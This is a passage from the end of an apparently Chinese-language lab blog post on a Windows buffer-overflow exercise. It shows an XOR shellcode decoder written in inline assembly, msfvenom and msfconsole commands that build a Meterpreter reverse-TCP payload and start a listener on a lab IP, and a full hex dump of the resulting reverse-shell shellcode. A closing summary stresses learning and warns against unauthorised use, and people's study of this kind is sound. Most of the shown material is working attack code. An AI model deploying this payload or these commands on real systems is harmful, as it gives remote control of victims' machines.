(h); return nRetCode; }
decode_asm.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <windows.h> int main (int argc, char ** argv) { __asm{ jmp decode_end decode_start: pop edx dec edx xor ecx,ecx mov cx,0x300 decode_loop: xor byte ptr [edx+ecx], 0x1 loop decode_loop jmp decode_ok decode_end: call decode_start decode_ok: } }
msf command
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 生成 shellcode msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.195.128 lport=8964 -k > apu4.bin # 开启监听 # 打开 msf msfconsole # 使用 handler use exploit/multi/handler # 设置类型 set payload windows/meterpreter/reverse_tcp # 设置监听ip set lhost 192.168.195.128 # 设置监听端口 set lport 8964 # 开启 exploit
randstr.py
1 2 3 4 5 6 7 8 9 import randomimport stringseed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" sa = [] for i in range (700 ): sa.append(random.choice(seed)) salt = '' .join(sa) print (salt)
apu4.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 fce8 8f00 0000 6089 e531 d264 8b52 308b 520c 8b52 1431 ff0f b74a 268b 7228 31c0 ac3c 617c 022c 20c1 cf0d 01c7 4975 ef52 8b52 108b 423c 01d0 8b40 7857 85c0 744c 01d0 8b58 208b 4818 5001 d385 c974 3c31 ff49 8b34 8b01 d631 c0ac c1cf 0d01 c738 e075 f403 7df8 3b7d 2475 e058 8b58 2401 d366 8b0c 4b8b 581c 01d3 8b04 8b01 d089 4424 245b 5b61 595a 51ff e058 5f5a 8b12 e980 ffff ff5d 6833 3200 0068 7773 325f 5468 4c77 2607 89e8 ffd0 b890 0100 0029 c454 5068 2980 6b00 ffd5 6a0a 68c0 a8c3 8068 0200 2304 89e6 5050 5050 4050 4050 68ea 0fdf e0ff d597 6a10 5657 6899 a574 61ff d585 c074 0aff 4e08 75ec e867 0000 006a 006a 0456 5768 02d9 c85f ffd5 83f8 007e 368b 366a 4068 0010 0000 566a 0068 58a4 53e5 ffd5 9353 6a00 5653 5768 02d9 c85f ffd5 83f8 007d 2858 6800 4000 006a 0050 680b 2f0f 30ff d557 6875 6e4d 61ff d55e 5eff 0c24 0f85 70ff ffff e99b ffff ff01 c329 c675 c1c3 bbf0 b5a2 566a 0053 ffd5
0x05 实验总结 本次实验想尽量从最底层出发实现这个攻击,因此写的篇幅较大。本来反弹的shellcode都想手动编译实现,但有些太麻烦最终就放弃了。本次实验本来是入门级的,基于现成的工具 msf
可以一键搞定,从找到溢出点到生成shellcode到编码到拿到shell一键搞定。同时也可以结合 pwntools
两键搞定。但还是本着学习过程的思想,写了这篇博客。
最后,请勿在未授权的情况下,进行任何的尝试。
谨以此,备忘。
参考链接 jmp esp: https://blog.csdn.net/qq_41683305/article/details/104303554
计算器 shellcode: https://www.daimajiaoliu.com/daima/4ed57f7c5100407
msf:https://www.cnblogs.com/clever-universe/p/8691365.html